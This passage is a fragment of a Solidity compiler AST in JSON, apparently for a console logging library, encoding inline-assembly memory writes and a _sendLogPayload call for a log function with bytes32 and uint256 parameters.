0"},{"kind":"number","nativeSrc":"390077:10:22","nodeType":"YulLiteral","src":"390077:10:22","type":"","value":"0x5d1a971a"}],"functionName":{"name":"mstore","nativeSrc":"390064:6:22","nodeType":"YulIdentifier","src":"390064:6:22"},"nativeSrc":"390064:24:22","nodeType":"YulFunctionCall","src":"390064:24:22"},"nativeSrc":"390064:24:22","nodeType":"YulExpressionStatement","src":"390064:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390108:4:22","nodeType":"YulLiteral","src":"390108:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"390114:4:22","nodeType":"YulLiteral","src":"390114:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"390101:6:22","nodeType":"YulIdentifier","src":"390101:6:22"},"nativeSrc":"390101:18:22","nodeType":"YulFunctionCall","src":"390101:18:22"},"nativeSrc":"390101:18:22","nodeType":"YulExpressionStatement","src":"390101:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390139:4:22","nodeType":"YulLiteral","src":"390139:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"390145:4:22","nodeType":"YulLiteral","src":"390145:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"390132:6:22","nodeType":"YulIdentifier","src":"390132:6:22"},"nativeSrc":"390132:18:22","nodeType":"YulFunctionCall","src":"390132:18:22"},"nativeSrc":"390132:18:22","nodeType":"YulExpressionStatement","src":"390132:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390170:4:22","nodeType":"YulLiteral","src":"390170:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"390176:2:22","nodeType":"YulIdentifier","src":"390176:2:22"}],"functionName":{"name":"mstore","nativeSrc":"390163:6:22","nodeType":"YulIdentifier","src":"390163:6:22"},"nativeSrc":"390163:16:22","nodeType":"YulFunctionCall","src":"390163:16:22"},"nativeSrc":"390163:16:22","nodeType":"YulExpressionStatement","src":"390163:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390199:4:22","nodeType":"YulLiteral","src":"390199:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"390205:5:22","nodeType":"YulLiteral","src":"390205:5:22","type":"","value":"0x100"}],"functionName":{"name":"mstore","nativeSrc":"390192:6:22","nodeType":"YulIdentifier","src":"390192:6:22"},"nativeSrc":"390192:19:22","nodeType":"YulFunctionCall","src":"390192:19:22"},"nativeSrc":"390192:19:22","nodeType":"YulExpressionStatement","src":"390192:19:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390236:4:22","nodeType":"YulLiteral","src":"390236:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"390242:2:22","nodeType":"YulIdentifier","src":"390242:2:22"}],"functionName":{"name":"writeString","nativeSrc":"390224:11:22","nodeType":"YulIdentifier","src":"390224:11:22"},"nativeSrc":"390224:21:22","nodeType":"YulFunctionCall","src":"390224:21:22"},"nativeSrc":"390224:21:22","nodeType":"YulExpressionStatement","src":"390224:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390270:4:22","nodeType":"YulLiteral","src":"390270:4:22","type":"","value":"0xe0"},{"name":"p1","nativeSrc":"390276:2:22","nodeType":"YulIdentifier","src":"390276:2:22"}],"functionName":{"name":"writeString","nativeSrc":"390258:11:22","nodeType":"YulIdentifier","src":"390258:11:22"},"nativeSrc":"390258:21:22","nodeType":"YulFunctionCall","src":"390258:21:22"},"nativeSrc":"390258:21:22","nodeType":"YulExpressionStatement","src":"390258:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390304:5:22","nodeType":"YulLiteral","src":"390304:5:22","type":"","value":"0x120"},{"name":"p3","nativeSrc":"390311:2:22","nodeType":"YulIdentifier","src":"390311:2:22"}],"functionName":{"name":"writeString","nativeSrc":"390292:11:22","nodeType":"YulIdentifier","src":"390292:11:22"},"nativeSrc":"390292:22:22","nodeType":"YulFunctionCall","src":"390292:22:22"},"nativeSrc":"390292:22:22","nodeType":"YulExpressionStatement","src":"390292:22:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46332,"isOffset":false,"isSlot":false,"src":"389666:2:22","valueSize":1},{"declaration":46335,"isOffset":false,"isSlot":false,"src":"389696:2:22","valueSize":1},{"declaration":46362,"isOffset":false,"isSlot":false,"src":"389968:3:22","valueSize":1},{"declaration":46338,"isOffset":false,"isSlot":false,"src":"389726:2:22","valueSize":1},{"declaration":46341,"isOffset":false,"isSlot":false,"src":"389756:2:22","valueSize":1},{"declaration":46344,"isOffset":false,"isSlot":false,"src":"389786:2:22","valueSize":1},{"declaration":46347,"isOffset":false,"isSlot":false,"src":"389816:2:22","valueSize":1},{"declaration":46350,"isOffset":false,"isSlot":false,"src":"389846:2:22","valueSize":1},{"declaration":46353,"isOffset":false,"isSlot":false,"src":"389876:2:22","valueSize":1},{"declaration":46356,"isOffset":false,"isSlot":false,"src":"389906:2:22","valueSize":1},{"declaration":46359,"isOffset":false,"isSlot":false,"src":"389937:2:22","valueSize":1},{"declaration":46322,"isOffset":false,"isSlot":false,"src":"390242:2:22","valueSize":1},{"declaration":46324,"isOffset":false,"isSlot":false,"src":"390276:2:22","valueSize":1},{"declaration":46326,"isOffset":false,"isSlot":false,"src":"390176:2:22","valueSize":1},{"declaration":46328,"isOffset":false,"isSlot":false,"src":"390311:2:22","valueSize":1}],"id":46364,"nodeType":"InlineAssembly","src":"389288:1036:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":46366,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"390349:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313434","id":46367,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"390355:5:22","typeDescriptions":{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"},"value":"0x144"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"}],"id":46365,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"390333:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":46368,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"390333:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46369,"nodeType":"ExpressionStatement","src":"390333:28:22"},{"AST":{"nativeSrc":"390380:334:22","nodeType":"YulBlock","src":"390380:334:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"390401:4:22","nodeType":"YulLiteral","src":"390401:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"390407:2:22","nodeType":"YulIdentifier","src":"390407:2:22"}],"functionName":{"name":"mstore","nativeSrc":"390394:6:22","nodeType":"YulIdentifier","src":"390394:6:22"},"nativeSrc":"390394:16:22","nodeType":"YulFunctionCall","src":"390394:16:22"},"nativeSrc":"390394:16:22","nodeType":"YulExpressionStatement","src":"390394:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390430:4:22","nodeType":"YulLiteral","src":"390430:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"390436:2:22","nodeType":"YulIdentifier","src":"390436:2:22"}],"functionName":{"name":"mstore","nativeSrc":"390423:6:22","nodeType":"YulIdentifier","src":"390423:6:22"},"nativeSrc":"390423:16:22","nodeType":"YulFunctionCall","src":"390423:16:22"},"nativeSrc":"390423:16:22","nodeType":"YulExpressionStatement","src":"390423:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390459:4:22","nodeType":"YulLiteral","src":"390459:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"390465:2:22","nodeType":"YulIdentifier","src":"390465:2:22"}],"functionName":{"name":"mstore","nativeSrc":"390452:6:22","nodeType":"YulIdentifier","src":"390452:6:22"},"nativeSrc":"390452:16:22","nodeType":"YulFunctionCall","src":"390452:16:22"},"nativeSrc":"390452:16:22","nodeType":"YulExpressionStatement","src":"390452:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390488:4:22","nodeType":"YulLiteral","src":"390488:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"390494:2:22","nodeType":"YulIdentifier","src":"390494:2:22"}],"functionName":{"name":"mstore","nativeSrc":"390481:6:22","nodeType":"YulIdentifier","src":"390481:6:22"},"nativeSrc":"390481:16:22","nodeType":"YulFunctionCall","src":"390481:16:22"},"nativeSrc":"390481:16:22","nodeType":"YulExpressionStatement","src":"390481:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390517:4:22","nodeType":"YulLiteral","src":"390517:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"390523:2:22","nodeType":"YulIdentifier","src":"390523:2:22"}],"functionName":{"name":"mstore","nativeSrc":"390510:6:22","nodeType":"YulIdentifier","src":"390510:6:22"},"nativeSrc":"390510:16:22","nodeType":"YulFunctionCall","src":"390510:16:22"},"nativeSrc":"390510:16:22","nodeType":"YulExpressionStatement","src":"390510:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390546:4:22","nodeType":"YulLiteral","src":"390546:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"390552:2:22","nodeType":"YulIdentifier","src":"390552:2:22"}],"functionName":{"name":"mstore","nativeSrc":"390539:6:22","nodeType":"YulIdentifier","src":"390539:6:22"},"nativeSrc":"390539:16:22","nodeType":"YulFunctionCall","src":"390539:16:22"},"nativeSrc":"390539:16:22","nodeType":"YulExpressionStatement","src":"390539:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390575:4:22","nodeType":"YulLiteral","src":"390575:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"390581:2:22","nodeType":"YulIdentifier","src":"390581:2:22"}],"functionName":{"name":"mstore","nativeSrc":"390568:6:22","nodeType":"YulIdentifier","src":"390568:6:22"},"nativeSrc":"390568:16:22","nodeType":"YulFunctionCall","src":"390568:16:22"},"nativeSrc":"390568:16:22","nodeType":"YulExpressionStatement","src":"390568:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390604:4:22","nodeType":"YulLiteral","src":"390604:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"390610:2:22","nodeType":"YulIdentifier","src":"390610:2:22"}],"functionName":{"name":"mstore","nativeSrc":"390597:6:22","nodeType":"YulIdentifier","src":"390597:6:22"},"nativeSrc":"390597:16:22","nodeType":"YulFunctionCall","src":"390597:16:22"},"nativeSrc":"390597:16:22","nodeType":"YulExpressionStatement","src":"390597:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390633:5:22","nodeType":"YulLiteral","src":"390633:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"390640:2:22","nodeType":"YulIdentifier","src":"390640:2:22"}],"functionName":{"name":"mstore","nativeSrc":"390626:6:22","nodeType":"YulIdentifier","src":"390626:6:22"},"nativeSrc":"390626:17:22","nodeType":"YulFunctionCall","src":"390626:17:22"},"nativeSrc":"390626:17:22","nodeType":"YulExpressionStatement","src":"390626:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390663:5:22","nodeType":"YulLiteral","src":"390663:5:22","type":"","value":"0x120"},{"name":"m9","nativeSrc":"390670:2:22","nodeType":"YulIdentifier","src":"390670:2:22"}],"functionName":{"name":"mstore","nativeSrc":"390656:6:22","nodeType":"YulIdentifier","src":"390656:6:22"},"nativeSrc":"390656:17:22","nodeType":"YulFunctionCall","src":"390656:17:22"},"nativeSrc":"390656:17:22","nodeType":"YulExpressionStatement","src":"390656:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390693:5:22","nodeType":"YulLiteral","src":"390693:5:22","type":"","value":"0x140"},{"name":"m10","nativeSrc":"390700:3:22","nodeType":"YulIdentifier","src":"390700:3:22"}],"functionName":{"name":"mstore","nativeSrc":"390686:6:22","nodeType":"YulIdentifier","src":"390686:6:22"},"nativeSrc":"390686:18:22","nodeType":"YulFunctionCall","src":"390686:18:22"},"nativeSrc":"390686:18:22","nodeType":"YulExpressionStatement","src":"390686:18:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46332,"isOffset":false,"isSlot":false,"src":"390407:2:22","valueSize":1},{"declaration":46335,"isOffset":false,"isSlot":false,"src":"390436:2:22","valueSize":1},{"declaration":46362,"isOffset":false,"isSlot":false,"src":"390700:3:22","valueSize":1},{"declaration":46338,"isOffset":false,"isSlot":false,"src":"390465:2:22","valueSize":1},{"declaration":46341,"isOffset":false,"isSlot":false,"src":"390494:2:22","valueSize":1},{"declaration":46344,"isOffset":false,"isSlot":false,"src":"390523:2:22","valueSize":1},{"declaration":46347,"isOffset":false,"isSlot":false,"src":"390552:2:22","valueSize":1},{"declaration":46350,"isOffset":false,"isSlot":false,"src":"390581:2:22","valueSize":1},{"declaration":46353,"isOffset":false,"isSlot":false,"src":"390610:2:22","valueSize":1},{"declaration":46356,"isOffset":false,"isSlot":false,"src":"390640:2:22","valueSize":1},{"declaration":46359,"isOffset":false,"isSlot":false,"src":"390670:2:22","valueSize":1}],"id":46370,"nodeType":"InlineAssembly","src":"390371:343:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"388991:3:22","parameters":{"id":46329,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46322,"mutability":"mutable","name":"p0","nameLocation":"389003:2:22","nodeType":"VariableDeclaration","scope":46372,"src":"388995:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46321,"name":"bytes32","nodeType":"ElementaryTypeName","src":"388995:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46324,"mutability":"mutable","name":"p1","nameLocation":"389015:2:22","nodeType":"VariableDeclaration","scope":46372,"src":"389007:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46323,"name":"bytes32","nodeType":"ElementaryTypeName","src":"389007:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46326,"mutability":"mutable","name":"p2","nameLocation":"389027:2:22","nodeType":"VariableDeclaration","scope":46372,"src":"389019:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":46325,"name":"uint256","nodeType":"ElementaryTypeName","src":"389019:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":46328,"mutability":"mutable","name":"p3","nameLocation":"389039:2:22","nodeType":"VariableDeclaration","scope":46372,"src":"389031:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46327,"name":"bytes32","nodeType":"ElementaryTypeName","src":"389031:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"388994:48:22"},"returnParameters":{"id":46330,"nodeType":"ParameterList","parameters":[],"src":"389057:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":46424,"nodeType":"FunctionDefinition","src":"390726:1738:22","nodes":[],"body":{"id":46423,"nodeType":"Block","src":"390801:1663:22","nodes":[],"statements":[{"assignments":[46384],"declarations":[{"constant":false,"id":46384,"mutability":"mutable","name":"m0","nameLocation":"390819:2:22","nodeType":"VariableDeclaration","scope":46423,"src":"390811:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46383,"name":"bytes32","nodeType":"ElementaryTypeName","src":"390811:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46385,"nodeType":"VariableDeclarationStatement","src":"390811:10:22"},{"assignments":[46387],"declarations":[{"constant":false,"id":46387,"mutability":"mutable","name":"m1","nameLocation":"390839:2:22","nodeType":"VariableDeclaration","scope":46423,"src":"390831:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46386,"name":"bytes32","nodeType":"ElementaryTypeName","src":"390831:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46388,"nodeType":"VariableDeclarationStatement","src":"390831:10:22"},{"assignments":[46390],"declarations":[{"constant":false,"id":46390,"mutability":"mutable","name":"m2","nameLocation":"390859:2:22","nodeType":"VariableDeclaration","scope":46423,"src":"390851:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46389,"name":"bytes32","nodeType":"ElementaryTypeName","src":"390851:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46391,"nodeType":"VariableDeclarationStatement","src":"390851:10:22"},{"assignments":[46393],"declarations":[{"constant":false,"id":46393,"mutability":"mutable","name":"m3","nameLocation":"390879:2:22","nodeType":"VariableDeclaration","scope":46423,"src":"390871:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46392,"name":"bytes32","nodeType":"ElementaryTypeName","src":"390871:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46394,"nodeType":"VariableDeclarationStatement","src":"390871:10:22"},{"assignments":[46396],"declarations":[{"constant":false,"id":46396,"mutability":"mutable","name":"m4","nameLocation":"390899:2:22","nodeType":"VariableDeclaration","scope":46423,"src":"390891:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46395,"name":"bytes32","nodeType":"ElementaryTypeName","src":"390891:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46397,"nodeType":"VariableDeclarationStatement","src":"390891:10:22"},{"assignments":[46399],"declarations":[{"constant":false,"id":46399,"mutability":"mutable","name":"m5","nameLocation":"390919:2:22","nodeType":"VariableDeclaration","scope":46423,"src":"390911:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46398,"name":"bytes32","nodeType":"ElementaryTypeName","src":"390911:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46400,"nodeType":"VariableDeclarationStatement","src":"390911:10:22"},{"assignments":[46402],"declarations":[{"constant":false,"id":46402,"mutability":"mutable","name":"m6","nameLocation":"390939:2:22","nodeType":"VariableDeclaration","scope":46423,"src":"390931:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46401,"name":"bytes32","nodeType":"ElementaryTypeName","src":"390931:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46403,"nodeType":"VariableDeclarationStatement","src":"390931:10:22"},{"assignments":[46405],"declarations":[{"constant":false,"id":46405,"mutability":"mutable","name":"m7","nameLocation":"390959:2:22","nodeType":"VariableDeclaration","scope":46423,"src":"390951:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46404,"name":"bytes32","nodeType":"ElementaryTypeName","src":"390951:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46406,"nodeType":"VariableDeclarationStatement","src":"390951:10:22"},{"assignments":[46408],"declarations":[{"constant":false,"id":46408,"mutability":"mutable","name":"m8","nameLocation":"390979:2:22","nodeType":"VariableDeclaration","scope":46423,"src":"390971:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46407,"name":"bytes32","nodeType":"ElementaryTypeName","src":"390971:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46409,"nodeType":"VariableDeclarationStatement","src":"390971:10:22"},{"assignments":[46411],"declarations":[{"constant":false,"id":46411,"mutability":"mutable","name":"m9","nameLocation":"390999:2:22","nodeType":"VariableDeclaration","scope":46423,"src":"390991:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46410,"name":"bytes32","nodeType":"ElementaryTypeName","src":"390991:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46412,"nodeType":"VariableDeclarationStatement","src":"390991:10:22"},{"assignments":[46414],"declarations":[{"constant":false,"id":46414,"mutability":"mutable","name":"m10","nameLocation":"391019:3:22","nodeType":"VariableDeclaration","scope":46423,"src":"391011:11:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46413,"name":"bytes32","nodeType":"ElementaryTypeName","src":"391011:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46415,"nodeType":"VariableDeclarationStatement","src":"391011:11:22"},{"AST":{"nativeSrc":"391041:1027:22","nodeType":"YulBlock","src":"391041:1027:22","statements":[{"body":{"nativeSrc":"391084:313:22","nodeType":"YulBlock","src":"391084:313:22","statements":[{"nativeSrc":"391102:15:22","nodeType":"YulVariableDeclaration","src":"391102:15:22","value":{"kind":"number","nativeSrc":"391116:1:22","nodeType":"YulLiteral","src":"391116:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"391106:6:22","nodeType":"YulTypedName","src":"391106:6:22","type":""}]},{"body":{"nativeSrc":"391187:40:22","nodeType":"YulBlock","src":"391187:40:22","statements":[{"body":{"nativeSrc":"391216:9:22","nodeType":"YulBlock","src":"391216:9:22","statements":[{"nativeSrc":"391218:5:22","nodeType":"YulBreak","src":"391218:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"391204:6:22","nodeType":"YulIdentifier","src":"391204:6:22"},{"name":"w","nativeSrc":"391212:1:22","nodeType":"YulIdentifier","src":"391212:1:22"}],"functionName":{"name":"byte","nativeSrc":"391199:4:22","nodeType":"YulIdentifier","src":"391199:4:22"},"nativeSrc":"391199:15:22","nodeType":"YulFunctionCall","src":"391199:15:22"}],"functionName":{"name":"iszero","nativeSrc":"391192:6:22","nodeType":"YulIdentifier","src":"391192:6:22"},"nativeSrc":"391192:23:22","nodeType":"YulFunctionCall","src":"391192:23:22"},"nativeSrc":"391189:36:22","nodeType":"YulIf","src":"391189:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"391144:6:22","nodeType":"YulIdentifier","src":"391144:6:22"},{"kind":"number","nativeSrc":"391152:4:22","nodeType":"YulLiteral","src":"391152:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"391141:2:22","nodeType":"YulIdentifier","src":"391141:2:22"},"nativeSrc":"391141:16:22","nodeType":"YulFunctionCall","src":"391141:16:22"},"nativeSrc":"391134:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"391158:28:22","nodeType":"YulBlock","src":"391158:28:22","statements":[{"nativeSrc":"391160:24:22","nodeType":"YulAssignment","src":"391160:24:22","value":{"arguments":[{"name":"length","nativeSrc":"391174:6:22","nodeType":"YulIdentifier","src":"391174:6:22"},{"kind":"number","nativeSrc":"391182:1:22","nodeType":"YulLiteral","src":"391182:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"391170:3:22","nodeType":"YulIdentifier","src":"391170:3:22"},"nativeSrc":"391170:14:22","nodeType":"YulFunctionCall","src":"391170:14:22"},"variableNames":[{"name":"length","nativeSrc":"391160:6:22","nodeType":"YulIdentifier","src":"391160:6:22"}]}]},"pre":{"nativeSrc":"391138:2:22","nodeType":"YulBlock","src":"391138:2:22","statements":[]},"src":"391134:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"391251:3:22","nodeType":"YulIdentifier","src":"391251:3:22"},{"name":"length","nativeSrc":"391256:6:22","nodeType":"YulIdentifier","src":"391256:6:22"}],"functionName":{"name":"mstore","nativeSrc":"391244:6:22","nodeType":"YulIdentifier","src":"391244:6:22"},"nativeSrc":"391244:19:22","nodeType":"YulFunctionCall","src":"391244:19:22"},"nativeSrc":"391244:19:22","nodeType":"YulExpressionStatement","src":"391244:19:22"},{"nativeSrc":"391280:37:22","nodeType":"YulVariableDeclaration","src":"391280:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"391297:3:22","nodeType":"YulLiteral","src":"391297:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"391306:1:22","nodeType":"YulLiteral","src":"391306:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"391309:6:22","nodeType":"YulIdentifier","src":"391309:6:22"}],"functionName":{"name":"shl","nativeSrc":"391302:3:22","nodeType":"YulIdentifier","src":"391302:3:22"},"nativeSrc":"391302:14:22","nodeType":"YulFunctionCall","src":"391302:14:22"}],"functionName":{"name":"sub","nativeSrc":"391293:3:22","nodeType":"YulIdentifier","src":"391293:3:22"},"nativeSrc":"391293:24:22","nodeType":"YulFunctionCall","src":"391293:24:22"},"variables":[{"name":"shift","nativeSrc":"391284:5:22","nodeType":"YulTypedName","src":"391284:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"391345:3:22","nodeType":"YulIdentifier","src":"391345:3:22"},{"kind":"number","nativeSrc":"391350:4:22","nodeType":"YulLiteral","src":"391350:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"391341:3:22","nodeType":"YulIdentifier","src":"391341:3:22"},"nativeSrc":"391341:14:22","nodeType":"YulFunctionCall","src":"391341:14:22"},{"arguments":[{"name":"shift","nativeSrc":"391361:5:22","nodeType":"YulIdentifier","src":"391361:5:22"},{"arguments":[{"name":"shift","nativeSrc":"391372:5:22","nodeType":"YulIdentifier","src":"391372:5:22"},{"name":"w","nativeSrc":"391379:1:22","nodeType":"YulIdentifier","src":"391379:1:22"}],"functionName":{"name":"shr","nativeSrc":"391368:3:22","nodeType":"YulIdentifier","src":"391368:3:22"},"nativeSrc":"391368:13:22","nodeType":"YulFunctionCall","src":"391368:13:22"}],"functionName":{"name":"shl","nativeSrc":"391357:3:22","nodeType":"YulIdentifier","src":"391357:3:22"},"nativeSrc":"391357:25:22","nodeType":"YulFunctionCall","src":"391357:25:22"}],"functionName":{"name":"mstore","nativeSrc":"391334:6:22","nodeType":"YulIdentifier","src":"391334:6:22"},"nativeSrc":"391334:49:22","nodeType":"YulFunctionCall","src":"391334:49:22"},"nativeSrc":"391334:49:22","nodeType":"YulExpressionStatement","src":"391334:49:22"}]},"name":"writeString","nativeSrc":"391055:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"391076:3:22","nodeType":"YulTypedName","src":"391076:3:22","type":""},{"name":"w","nativeSrc":"391081:1:22","nodeType":"YulTypedName","src":"391081:1:22","type":""}],"src":"391055:342:22"},{"nativeSrc":"391410:17:22","nodeType":"YulAssignment","src":"391410:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"391422:4:22","nodeType":"YulLiteral","src":"391422:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"391416:5:22","nodeType":"YulIdentifier","src":"391416:5:22"},"nativeSrc":"391416:11:22","nodeType":"YulFunctionCall","src":"391416:11:22"},"variableNames":[{"name":"m0","nativeSrc":"391410:2:22","nodeType":"YulIdentifier","src":"391410:2:22"}]},{"nativeSrc":"391440:17:22","nodeType":"YulAssignment","src":"391440:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"391452:4:22","nodeType":"YulLiteral","src":"391452:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"391446:5:22","nodeType":"YulIdentifier","src":"391446:5:22"},"nativeSrc":"391446:11:22","nodeType":"YulFunctionCall","src":"391446:11:22"},"variableNames":[{"name":"m1","nativeSrc":"391440:2:22","nodeType":"YulIdentifier","src":"391440:2:22"}]},{"nativeSrc":"391470:17:22","nodeType":"YulAssignment","src":"391470:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"391482:4:22","nodeType":"YulLiteral","src":"391482:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"391476:5:22","nodeType":"YulIdentifier","src":"391476:5:22"},"nativeSrc":"391476:11:22","nodeType":"YulFunctionCall","src":"391476:11:22"},"variableNames":[{"name":"m2","nativeSrc":"391470:2:22","nodeType":"YulIdentifier","src":"391470:2:22"}]},{"nativeSrc":"391500:17:22","nodeType":"YulAssignment","src":"391500:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"391512:4:22","nodeType":"YulLiteral","src":"391512:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"391506:5:22","nodeType":"YulIdentifier","src":"391506:5:22"},"nativeSrc":"391506:11:22","nodeType":"YulFunctionCall","src":"391506:11:22"},"variableNames":[{"name":"m3","nativeSrc":"391500: